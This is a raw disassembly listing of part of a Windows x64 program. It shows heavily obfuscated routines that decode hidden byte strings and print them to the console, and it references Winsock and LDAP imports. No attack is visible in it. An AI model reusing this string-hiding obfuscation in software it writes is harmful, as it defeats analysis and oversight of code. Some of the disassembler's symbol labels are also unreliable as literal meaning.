movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2c
jmp 0x14012f2f3
add r10b, 0x72
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1e
dec rdi
inc rdi
jmp 0x14012e952
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
inc r9
dec rdi
inc rdi
jmp 0x14012e952
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 2
jmp 0x14012f2b0
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14012efa0
lea ecx, [r10 + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 7
jmp 0x14012ee30
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012efd3
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x26
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012eff6
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x42
jmp 0x14012f371
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012ee30
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7a
dec rdi
inc rdi
jmp 0x14012e952
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012f048
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x47
jmp 0x14012f2b0
inc rax
cmp r8, rax
jne 0x14012f072
add r10b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x2b
dec rdi
inc rdi
jmp 0x14012e952
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012f09a
add r10b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0xf
add r8, r9
jmp 0x14012f342
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012f0be
add r10b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
inc bl
jmp 0x14012f342
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012f0e1
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xd
jmp 0x14012f371
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14012eded
add r10b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x29
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012f14b
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x4c
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
inc rax
cmp r8, rax
jne 0x14012f16f
add r10b, 0x5a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x76
jmp 0x14012f342
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012f19b
add r10b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x14012f342
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012f1c2
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012f2f3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14012edb2
lea edx, [r10 + 0x64]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x14012f2b0
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x14
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14012f2f3
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14012f371
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0xb
jmp 0x14012f371
add r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x19
jmp 0x14012f342
add r10b, 0x19
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x51
inc r9
dec rdi
inc rdi
jmp 0x14012e952
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x5f
jmp 0x14012f2b0
movzx r10d, dil
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x7b
add r10b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x2f
add r10b, r11b
mov byte [rsp + rdi + 0x70], r10b
inc r9
dec rdi
inc rdi
jmp 0x14012e952
movzx r10d, dil
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5b
add r10b, 0x69
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x21
add cl, r11b
add cl, r10b
mov byte [rsp + rdi + 0x70], cl
add r8, r9
jmp 0x14012f342
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4d
add r8, r9
jmp 0x14012f342
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
sub bl, 0x3f
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14012e952
lea rcx, [rdi + r13]
and dl, cl
add dl, dl
movzx ebx, r11b
sub bl, dl
sub bl, 0x31
add bl, cl
movzx r10d, dil
add r10b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x13
add cl, r10b
movzx eax, cl
mov byte [rsp + rdi + 0x70], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + rdi + 0x70], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
lea rcx, [rdi + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x15
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
sub r10b, 0x7b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x5d
jmp 0x14012e950
sub r10b, 0x7d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x6b
jmp 0x14012e940
lea rdx, [rbp + 0x145541c]
jmp 0x14012f44e
lea rdx, [rbp + 0x179d31d]
jmp 0x14012f44e
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x58]
call fcn.1400046a0
mov rbx, rax
mov qword [rbp + 0x120], rax
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002bd0
nop
mov rcx, rbx
call fcn.140002a20
mov edx, 7
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov word [rbp - 0x40], 0xa545
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x3e], xmm0
movups xmmword [rbp - 0x2e], xmm0
mov byte [rbp - 0x1e], al
movabs rsi, 0xd14b66f845c96be5
movabs r13, 0xb90fd0c9e881f343
movabs r12, 0x167902d95cef1b79
movabs r14, 0x73e234e8d15c43af
movzx edx, byte [rbp + 0x128]
nop dword [rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140130030
movzx r11d, byte [rbp + rbx - 0x40]
mov edi, r11d
cmp r8, rbx
ja 0x140130027
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14012f520
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x43
jmp 0x14012f559
je 0x14012ffbf
inc rax
cmp r8, rax
je 0x14012ff71
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012ff30
lea rax, [r9 + 6]
cmp r8, rax
je 0x14012ff11
lea rax, [r9 + 5]
cmp r8, rax
je 0x14012fece
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x14013001e
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14012f58c
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7f
jmp 0x14012f5d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14012feb7
inc rax
cmp r8, rax
je 0x14012fe95
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012fe46
lea rax, [r9 + 7]
cmp r8, rax
je 0x14012fe2c
lea rax, [r9 + 2]
cmp r8, rax
je 0x14012fe02
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14012fb16
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14012faf9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14012fad4
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14012faae
lea rcx, [r9 + 0x7a]
cmp r8, rcx
je 0x14012fa94
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14012fa74
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012fa58
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012fa3b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14012fa1f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14012f9f1
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14012f5e0
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x140130002
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14012ffe6
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14012f7c8
lea rcx, [r9 + 0x1000]
cmp r8, rcx
jb 0x14012f7ae
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14012f794
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14012f9a7
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14012f964
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14012f92c
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14012f909
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14012f5e0
mov r8, rcx
lea r9, [rcx + 0x5a]
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14012f8db
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14012f8bf
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x14012f8a2
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x14012f886
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14012f866
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14012f84c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14012f826
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14012f801
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14012f7e4
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14012f5e0
mov r8, rcx
lea r9, [rcx + 0x7a]
jmp 0x14012f5e0
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x61
jmp 0x14012f5d0
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x25
jmp 0x14012f560
sub r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x55
jmp 0x14012f4f5
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012fee7
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x72
inc r9
dec rbx
inc rbx
jmp 0x14012f4e2
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14012f4e2
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
jmp 0x14012fe5b
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14012fe7a
add r10b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5a
jmp 0x14012fe7d
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012ff48
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
jmp 0x14012ff85
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x79
mov byte [rbp + rbx - 0x40], dl
inc rbx
jmp 0x14012f4e2
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xd
cmp r9, 0xa
jb 0x14012f920
lea ecx, [r10 + 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x64]
jmp 0x14012fee7
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
cmp r8, 0x20
jae 0x14012fdce
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14012fd27
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x76
jmp 0x14012f941
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x19
lea rax, [r8 + r9]
cmp rax, 0x40
je 0x14012fde8
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14012fc35
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 9
jmp 0x14012f979
sub r10b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
jmp 0x14012ff85
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012ff48
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
jmp 0x14012fe7d
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14012fe7a
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5c
jmp 0x14012fe5b
sub r10b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14012f4e2
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
inc r9
dec rbx
inc rbx
jmp 0x14012f4e2
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012fee7
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14012fb39
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x43
jmp 0x14012f9bc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012fb70
sub r10b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
inc rax
cmp r8, rax
jne 0x14012fb98
add r10b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14012ff85
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14012fbbd
sub r10b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x16
jmp 0x14012fe7a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012fbe3
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012fe5b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012fc0e
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x22
dec rbx
inc rbx
jmp 0x14012f4e2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14012f9bc
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2e
jmp 0x14012fee7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012fc58
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7d
jmp 0x14012fee7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012fc83
sub r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x77
dec rbx
inc rbx
jmp 0x14012f4e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012fca8
sub r10b, 0x7d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x6b
jmp 0x14012fe7a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012fccd
add r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1b
jmp 0x14012fe7d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14012fcf0
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5f
jmp 0x14012ff48
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14012f979
sub r10b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x53
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012fd5e
add r10b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012fd81
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
jmp 0x14012ff48
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012fda7
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012fe5b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012f941
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
jmp 0x14012fee7
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
add dl, r11b
jmp 0x14012fe5b
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add dl, cl
jmp 0x14012ff48
sub r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x35
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x29
jmp 0x14012ff48
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x69
sub r10b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x7b
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx - 0x40], r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14012f4e2
add r10b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x11
dec rbx
inc rbx
jmp 0x14012f4e2
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 5
jmp 0x14012fee7
movzx r10d, bl
lea ecx, [r10 - 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 7
add r10b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0xb
add r10b, r11b
mov byte [rbp + rbx - 0x40], r10b
inc r9
dec rbx
inc rbx
jmp 0x14012f4e2
lea ecx, [rbx + 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x13
dec rbx
inc rbx
jmp 0x14012f4e2
lea rax, [rbx + r13]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x2b
movzx r10d, bl
sub r10b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
dec r10b
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx - 0x40], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14012ff85
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x4f
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x44
add cl, r11b
mov byte [rbp + rbx - 0x40], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x37
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012f4e2
sub r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x31
jmp 0x14012f4e0
add r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x49
jmp 0x14012f4d0
lea rdx, [rbp + 0x1547d9c]
jmp 0x140130034
lea rdx, [rbp + 0x9de981]
jmp 0x140130034
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x78]
call fcn.1400046a0
mov rbx, rax
mov qword [rbp + 0x120], rax
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002bd0
nop
mov rcx, rbx
call fcn.140002a20
mov edx, 3
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov word [rbp - 0x18], 0xf9e2
mov byte [rbp - 0x16], 0xda
xorps xmm0, xmm0
movups xmmword [rbp - 0x15], xmm0
movups xmmword [rbp - 5], xmm0
movabs r14, 0x95ddb5bfd746465c
movabs r13, 0x190ff83ee2ebec84
movabs r12, 0xc199213f85d2d314
movzx ebx, byte [rbp + 0x128]
nop word [rax + rax]
mov rax, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140130b6e
movzx r11d, byte [rbp + rdi - 0x18]
mov esi, r11d
cmp rax, rdi
ja 0x140130b65
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140130100
lea rdx, [rdi + r14]
mov rcx, rdx
and rcx, rsi
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, rsi
add bl, 0x7c
jmp 0x14013012d
je 0x140130af2
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140130a6e
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140130a15
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1401309ec
movzx r10d, dil
cmp r9, rdi
ja 0x140130b5c
lea rcx, [r9 + 5]
cmp rax, rcx
jae 0x140130160
lea r8d, [r10 - 0x74]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x140130193
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401309a7
inc rcx
cmp rax, rcx
je 0x14013097e
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140130962
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140130938
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x1401306ca
lea rdx, [r9 + 4]
cmp rax, rdx
je 0x1401306bc
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x140130693
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x14013066d
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x140130753
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14013064d
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14013062d
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x14013060d
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1401305ed
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1401305bf
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1401301a0
mov rax, rdx
lea r9, [rdx + 0x200]
lea rdx, [r9 + 5]
cmp rax, rdx
jb 0x140130b3c
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x140130b1c
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x14013038e
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x14013036e
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x14013034e
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x14013056b
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x140130521
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1401304de
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1401304b7
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x1401301a0
mov rax, rdx
lea r9, [rdx + 0xa]
lea rdx, [r9 + 0x7a]
cmp rax, rdx
ja 0x14013048d
